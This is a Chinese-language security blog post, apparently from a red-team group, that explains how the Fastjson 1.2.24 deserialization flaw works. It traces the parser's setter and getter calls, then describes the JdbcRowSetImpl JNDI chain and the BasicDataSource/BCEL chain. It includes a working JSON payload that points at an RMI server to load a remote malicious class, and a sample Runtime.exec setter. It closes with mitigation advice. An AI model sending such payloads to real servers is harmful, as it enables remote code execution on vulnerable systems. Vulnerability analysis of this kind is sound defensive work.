“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
前言
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
public class Person {
private int age;
private String name;
public Person() {
System.out.println("constructor");
}
public void getAge(int age) {
System.out.println("getAge");
this.age = age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}
。
接下来就parser去进行解析,JSON解析就是字符串挨个去匹配,这里是switch来匹配
读到key之后,会判断key值是不是特殊字符,如果匹配到DEFAULT_TYPE_KEY
,也就是@type,就会进行java的反序列化,不仅仅是json的反序列化。
如果是@type就会加载loadClass这个方法,看1000行,首先会从缓存里面找,然后经过一系列的处理,总之就是获取上下文的ClassLoader,然后将它放在缓存里。
接下来就进入到了解析java对象的环节,首先获取反序列化器,第二步用反序列化器来进行反序列化,这一步做完回来的就是Person了。
我们来看看fastjson是如何进行反序列化的,它的构造里有很多内置类对应的反序列化器。
最后也是一堆判断,判断都不满足的话,就会按照javeBean来解析
进入到createJavaBeenDeserializer这个方法中,有一个JaveBeanInfo的函数,它在创建类对应的反序列化器的时候,把类里面的构造函数,getter,setter都获取,组成一个beaninfo
进入build方法,可以看到这里获得了所有的字段
接着往下走,会经过几个遍历,第一遍遍历是找所有的setter方法,第二遍遍历是找所有public或者static的Field,第三遍遍历是找所有满足条件的getter(Map、Collection等等)
进入一个遍历看一下,条件是长度大于4,不是Static,返回值是Void
遍历以后可以看到beaninfo已经有了我们要的字段,同时这个字段对应的set方法也获得到了
调用构造函数之后,通过setValue完成赋值,调用set方法
前面我们看到还会调用getter方法,这个在哪调用了呢?可以看到,前面把字符串json转换成了对象,这里还会把json对象转换成json字符串,在这里调用了getter。
可以看到这里就调用了invoke,执行调用了getAge方法。
总结一下流程:fastjson解析的时候,会用反序列化器进行解析,调用构造方法,赋值的时候通过setter方法进行赋值。用了parseObject方法,会调用toJSON方法,把所有的getter方法都调用一遍。
知道了代码的调用流程以后,漏洞利用的点就显而易见了。
找到一个setXXX函数,这个函数里有危险方法,就可以作为fastjson的攻击链了。
举一个例子,假设有一个危险类test
public class test {
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
运行,成功利用!
Fastjson1.2.24漏洞复现
这个版本主要有两条链子,一条是基于JdbcRowSetImpl的链子,另一条是基于BasicDataSource的链子。
先来看JdbcRowSetImpl这一条链子,看到是标准jndi注入的攻击方式,并且满足变量DataSource
可控,有对应的setter方法。
实际的利用需要自己先启动一个Server,然后把恶意类放到vps上。这里为了方便,我们可以通过Yaki建一个反连服务器,设置Payload。
成功验证,直接执行了clac,还是很方便的。
这条链子是JNDI注入,会受版本限制、依赖限制,并且需要出网外联。
在真实的环境中,只需要将请求的JSON字符串改成精心制造的即可。
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8899/Exploit", "autoCommit":true
}
JdbcRowSetImpl
这条链子可以理解为远程的动态类加载,接下来要讲的BasicDataSource
这条链是本地类加载。
这条链子目标需要引入tomcat依赖,还算是比较常见。
BCEL作为字节码传入new ClassLoader().loadClass(code).newInstance();
将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞
想要在Fastjson中利用的话,需要fastjson反序列化过程中执行到这个操作。而在BasicDataSource中正好有一个能够利用的点。其中driverClassLoader
和driverClassName
都是可控的。
往上查找引用,能在getConnetcion
方法中看到调用
构造Payload,成功执行执行命令。
这一条链子主要是不出网的打法,不需要开启特殊的参数,适用范围较广。还有一条TemplatesImpl链子,需要开启Feature.SupportNonPublicField
,实战中适用范围较小,此处不展开分析。
1. 升级Fastjson至最新安全版本
2. 配置AutoType黑白名单